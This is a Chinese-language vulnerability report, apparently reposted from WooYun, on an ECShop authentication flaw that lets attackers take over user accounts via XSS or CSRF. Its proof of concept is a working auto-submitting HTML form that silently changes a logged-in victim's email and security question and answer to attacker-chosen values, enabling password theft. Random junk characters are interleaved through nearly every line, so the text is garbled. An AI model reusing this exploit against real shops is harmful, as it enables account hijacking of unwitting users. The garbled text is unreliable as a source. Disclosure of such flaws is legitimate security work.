简要描述:' x+ g1 r* ]% {
ecshop在设计认证机制的时候存在一个问题,导致恶意用户可以窃取其他用户的密码,这个过程可以通过xss和csrf实现- n3 _* k. H. Z2 l2 B0 P
4 ?: x' k- f8 s- E; Y" zDemo For:http://www.wooyun.org/bug.php?action=view&id=395
' D# L$ r6 t8 L6 s$ ]1 N( y8 Z, ~% E% ?" Q/ e! s4 B
详细说明:2 r/ c/ {9 P* A; H# T
利用csrf和xss可以突破官方所说的“障碍”
3 i6 U4 H8 q2 G: txss版本已经有人说明
1 P% b% L/ g4 b" o+ ]这里给出csrf版本: n8 K! a6 v G) v$ B
" u/ G7 z5 \3 O% O0 ^. V. s/ p漏洞证明:/ t# s4 H% ^+ z! d0 I
<html>
7 G' `3 b$ |7 k; J7 f<body>
0 J7 _+ y# c" M1 Y/ z" {2 ?# m<form action="http://www.wooyun.org/ecshop/user.php" method="POST">0 D+ z2 B$ F+ _$ w! b$ m
<INPUT TYPE="text" NAME="email" value="hack@wooyun.org">
4 X- N' f, i. h<INPUT TYPE="text" NAME="act" value="act_edit_profile">
9 S0 F' U2 T6 T2 H# Z* c ^<INPUT TYPE="text" NAME="sel_question" value="ecshop">
; f0 N( p B5 i/ Q; b<INPUT TYPE="text" NAME="passwd_answer" value="exploit">
1 X2 H# P, V% a3 V</body> o; K; ~ R( K+ f# D
<script>
6 V- H1 t3 Q- v9 Q4 C4 ?+ sdocument.forms[0].submit();
+ j; l f9 y0 K# J</script>
0 c; E! }$ X4 s</html>! e: G9 N+ ^0 b2 }! d3 _
构造该网页,用户在登录情况下访问该网页将导致email以及一些其他安全信息丢失
, N; C$ T/ V/ M& E+ B' u) ` \4 N* M! n8 v8 a* A5 |" G4 I- t- |
|